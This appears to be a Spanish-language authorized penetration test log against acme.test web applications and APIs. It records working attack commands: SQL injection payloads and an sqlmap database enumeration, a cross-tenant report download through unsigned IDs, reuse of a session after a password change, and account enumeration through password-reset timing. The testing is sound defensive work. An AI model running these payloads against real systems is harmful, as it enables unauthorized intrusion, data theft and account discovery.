Evaluación de aplicación web y API

Se usa la cuenta autorizada para el ejercicio, sin privilegios de administración.

curl -s -X POST https://api.acme.test/v2/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"pentest-user@acme.test","password":"[REDACTED]"}' \
  | jq -r .access_token > token.txt

Una comilla simple rompe la consulta y el backend devuelve el error del motor, lo que confirma que el valor llega sin parametrizar.

curl -s -G https://api.acme.test/v2/invoices/search \
  -H "Authorization: Bearer $(cat token.txt)" \
  --data-urlencode "q=acme'"

La respuesta cambia de 0 a 42 resultados según la condición inyectada: la consulta es controlable por el atacante.

# falso  -> 0 resultados
curl -s -G https://api.acme.test/v2/invoices/search \
  -H "Authorization: Bearer $(cat token.txt)" \
  --data-urlencode "q=acme' AND 1=2-- " | jq '.total'

# verdadero -> 42 resultados
curl -s -G https://api.acme.test/v2/invoices/search \
  -H "Authorization: Bearer $(cat token.txt)" \
  --data-urlencode "q=acme' AND 1=1-- " | jq '.total'

Ejecutado con nivel y riesgo mínimos, sin volcado masivo: solo se enumeran nombres para medir el impacto.

sqlmap -u "https://api.acme.test/v2/invoices/search?q=acme" \
  --headers="Authorization: Bearer $(cat token.txt)" \
  --level=2 --risk=1 --batch --technique=B \
  --dbs --threads=2

Confirmada la lectura de una fila fuera del inquilino, se detiene la explotación y se notifica al responsable técnico el mismo día.

Cuenta A pertenece a la organización evaluada; cuenta B a una organización de control creada para el ejercicio.

curl -s -c a.jar -X POST https://portal.acme.test/login \
  -d 'email=pentest-a@acme.test&password=[REDACTED]'

curl -s -c b.jar -X POST https://portal.acme.test/login \
  -d 'email=pentest-b@acme.test&password=[REDACTED]'

El identificador viaja en la URL de descarga y no está firmado.

curl -s -b a.jar -X POST https://portal.acme.test/api/reports/export \
  -H 'Content-Type: application/json' -d '{"projectId":"prj_a"}' | jq -r .exportId
# => exp_9f21c0c4

La respuesta es 200 y entrega el PDF de la organización A: la autorización por objeto no existe.

curl -s -b b.jar -o cross-tenant.pdf -w '%{http_code}\n' \
  https://portal.acme.test/api/reports/exp_9f21c0c4/download
# => 200

Se verifica la cabecera del fichero, se destruye la copia y se documenta el hallazgo sin extraer datos reales.

head -c 20 cross-tenant.pdf | xxd | head -1
shred -u cross-tenant.pdf

Simulan el navegador de la víctima y el del atacante.

curl -s -c victima.jar -X POST https://app.acme.test/login \
  -d 'email=pentest-user@acme.test&password=[REDACTED]'

curl -s -c atacante.jar -X POST https://app.acme.test/login \
  -d 'email=pentest-user@acme.test&password=[REDACTED]'

El cambio se completa correctamente y la aplicación muestra el aviso de éxito.

curl -s -b victima.jar -X POST https://app.acme.test/api/account/password \
  -H 'Content-Type: application/json' \
  -d '{"current":"[REDACTED]","next":"[REDACTED-NUEVA]"}'

La segunda sesión sigue devolviendo 200 y datos de la cuenta media hora después del cambio.

curl -s -b atacante.jar -o /dev/null -w '%{http_code}\n' \
  https://app.acme.test/api/account/profile
# => 200

La política declara unsafe-inline y un comodín en las fuentes de script.

curl -sI https://www.acme.test/ | grep -i 'content-security-policy'

La política no supera el nivel recomendado por falta de nonces y por permitir código en línea.

curl -s https://csp-evaluator.withgoogle.com/ >/dev/null
# evaluación manual de la cadena obtenida en el paso anterior

Un script en línea insertado en el entorno de preproducción se ejecuta sin bloqueo. No se introduce contenido en producción.

El mensaje confirma el envío y la respuesta tarda algo más por el envío del correo.

curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \
  -X POST https://portal.acme.test/api/password/reset \
  -H 'Content-Type: application/json' \
  -d '{"email":"pentest-user@acme.test"}'
# => codigo:200 tiempo:0.412

Cambian el texto y el tiempo, así que la diferencia es observable sin acceso previo.

curl -s -o /dev/null -w 'codigo:%{http_code} tiempo:%{time_total}\n' \
  -X POST https://portal.acme.test/api/password/reset \
  -H 'Content-Type: application/json' \
  -d '{"email":"no-existe-9f21@acme.test"}'
# => codigo:404 tiempo:0.086

Se usan diez direcciones creadas para el ejercicio, con un intento por segundo, para no afectar al servicio.

while read email; do
  curl -s -o /dev/null -w "$email %{http_code} %{time_total}\n" \
    -X POST https://portal.acme.test/api/password/reset \
    -H 'Content-Type: application/json' -d "{\"email\":\"$email\"}"
  sleep 1
done < direcciones-de-prueba.txt